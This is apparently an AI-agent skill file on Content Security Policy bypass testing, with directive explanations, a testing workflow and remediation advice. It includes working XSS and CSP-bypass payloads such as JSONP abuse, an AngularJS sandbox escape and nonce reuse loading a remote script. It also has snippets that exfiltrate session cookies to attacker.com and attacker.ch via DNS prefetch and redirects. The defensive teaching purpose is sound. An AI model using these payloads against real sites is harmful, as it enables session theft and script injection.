Hacktricks-skills csp-bypass-research

Content Security Policy (CSP) bypass research and testing for security assessments. Use this skill when analyzing CSP configurations, testing bypass techniques for authorized security assessments, or researching CSP vulnerabilities. Trigger when users mention CSP, Content-Security-Policy, CSP bypass, security policy testing, web security assessments involving CSP, or need to understand CSP bypass vectors for defensive purposes.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/content-security-policy-csp-bypass/content-security-policy-csp-bypass/SKILL.MD
source content

CSP Bypass Research Skill

A comprehensive guide for understanding and testing Content Security Policy bypass techniques in authorized security assessments.

Quick Reference

When to Use This Skill

  • Analyzing CSP headers for security assessments
  • Testing CSP configurations in your own applications
  • Understanding CSP bypass vectors for defensive purposes
  • Researching CSP vulnerabilities in CTFs or authorized pentests
  • Generating CSP bypass payloads for testing

Core Concepts

CSP Purpose: Content Security Policy is a browser security feature that helps prevent XSS attacks by controlling which resources can be loaded and executed.

Implementation Methods:

  • Response header:
    Content-Security-Policy: default-src 'self';
  • Meta tag:
    <meta http-equiv="Content-Security-Policy" content="default-src 'self';">

Key Directives:

  • script-src
    : Controls JavaScript sources
  • default-src
    : Fallback for unspecified directives
  • img-src
    : Controls image sources
  • connect-src
    : Controls fetch/XHR/WebSocket URLs
  • frame-src
    : Controls iframe sources
  • object-src
    : Controls object/embed elements
  • base-uri
    : Controls base element URLs
  • form-action
    : Controls form submission endpoints

Common Bypass Vectors

1. Unsafe Directives

'unsafe-inline'

Allows inline scripts to execute.

Test Payload:

"/><script>alert(1);</script>

'unsafe-eval'

Allows eval() and similar functions.

Test Payload:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

2. Third-Party Endpoint Abuses

JSONP Callbacks

When third-party domains are whitelisted, JSONP endpoints may allow arbitrary callbacks.

Example:

<script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert"></script>

AngularJS Exploitation

Vulnerable AngularJS versions can be loaded from whitelisted CDNs.

Example:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app>{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//')}}</div>

3. Path-Based Bypasses

Relative Path Overwrite (RPO)

Exploits URL interpretation differences between browser and server.

Example:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Server-Side Redirection

Redirects can bypass path restrictions in CSP.

Example:

<script src="http://localhost:5555/301"></script>
<!-- Redirects to: https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)// -->

4. Missing Directives

Missing base-uri

Allows base tag injection to redirect relative script loads.

Example:

<base href="https://www.attacker.com/" />

Missing object-src

May allow object/embed exploitation (browser-dependent).

5. Nonce Reuse

If a nonce is visible in the page, it can potentially be reused.

Example:

<img src="x" ng-on-error='
  doc=$event.target.ownerDocument;
  a=doc.defaultView.top.document.querySelector("[nonce]");
  b=doc.createElement("script");
  b.src="//example.com/evil.js";
  b.nonce=a.nonce;
  doc.body.appendChild(b)'
/>

6. Policy Injection

If CSP policy can be modified via user input:

Chrome:

script-src-elem *; script-src-attr *

Edge:

;_

7. Exfiltration Techniques

DNS Prefetch

var sessionid = document.cookie.split("=")[1] + ".";
var body = document.getElementsByTagName("body")[0];
body.innerHTML = body.innerHTML + '<link rel="dns-prefetch" href="//' + sessionid + 'attacker.ch">';

WebRTC

(async () => {
  p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] });
  p.createDataChannel("");
  p.setLocalDescription(await p.createOffer());
})();

Location Redirect

var sessionid = document.cookie.split("=")[1] + ".";
document.location = "https://attacker.com/?" + sessionid;

Testing Workflow

Step 1: Identify CSP Configuration

  1. Check response headers:

    curl -I https://target.com | grep -i content-security-policy
    
  2. Check meta tags in HTML:

    curl https://target.com | grep -i "http-equiv.*Content-Security-Policy"
    
  3. Check for Report-Only header:

    curl -I https://target.com | grep -i "Content-Security-Policy-Report-Only"
    

Step 2: Analyze Directives

  • Identify which directives are present/missing
  • Note whitelisted third-party domains
  • Check for 'unsafe-inline', 'unsafe-eval', 'strict-dynamic'
  • Look for wildcard (*) sources
  • Identify nonce/hash usage

Step 3: Test Bypass Vectors

Based on the CSP configuration, test relevant bypass vectors:

  1. If 'unsafe-inline' present: Test inline script injection
  2. If third-party domains whitelisted: Test JSONP/callback abuse
  3. If path restrictions exist: Test RPO and redirection
  4. If base-uri missing: Test base tag injection
  5. If nonce visible: Test nonce reuse

Step 4: Document Findings

Record:

  • CSP configuration
  • Tested bypass vectors
  • Successful bypasses
  • Impact assessment
  • Remediation recommendations

Remediation Guidance

Strong CSP Configuration

Content-Security-Policy: 
  default-src 'none';
  script-src 'self' 'nonce-{random-nonce}';
  style-src 'self' 'nonce-{random-nonce}';
  img-src 'self' data: https:;
  font-src 'self';
  connect-src 'self';
  frame-src 'none';
  object-src 'none';
  base-uri 'self';
  form-action 'self';
  frame-ancestors 'self';
  upgrade-insecure-requests;
  block-all-mixed-content;
  report-uri /csp-report;

Key Recommendations

  1. Use nonces or hashes instead of 'unsafe-inline'
  2. Avoid wildcards in source lists
  3. Specify all relevant directives (don't rely on default-src)
  4. Use Report-Only for testing before enforcement
  5. Monitor CSP reports for violations
  6. Keep third-party domains minimal
  7. Implement strict path restrictions
  8. Use frame-ancestors to prevent clickjacking

Tools and Resources

CSP Analysis Tools

Reference Materials

Important Notes

Legal and Ethical Considerations

  • Only test systems you own or have explicit authorization to test
  • Document all testing activities
  • Report findings responsibly
  • Use this knowledge for defensive purposes

Browser Differences

CSP implementation varies between browsers. Always test in multiple browsers:

  • Chrome/Chromium
  • Firefox
  • Safari
  • Edge

CSP Versions

  • CSP 1.0: Legacy, limited support
  • CSP 2.0: Current standard
  • CSP 3.0: Latest, includes new directives

Script Integration

Use the bundled scripts for:

  • analyze-csp.sh
    : Analyze CSP headers from a URL
  • generate-csp.sh
    : Generate a CSP configuration
  • test-csp-bypass.sh
    : Test common bypass vectors

Run scripts with:

./scripts/analyze-csp.sh https://target.com
./scripts/generate-csp.sh --strict
./scripts/test-csp-bypass.sh --help

Troubleshooting

Common Issues

  1. CSP not being applied: Check for typos in header name, ensure no output before header()
  2. False positives in reports: Review report-uri data for legitimate violations
  3. Breaking functionality: Use Report-Only mode first, gradually tighten policy
  4. Third-party scripts blocked: Add specific domains to script-src

Debugging

  1. Check browser console for CSP violations
  2. Review CSP report endpoint logs
  3. Use browser DevTools Security panel
  4. Test in Report-Only mode before enforcement

Remember: This skill is for authorized security testing and defensive purposes only. Always obtain proper authorization before testing any system.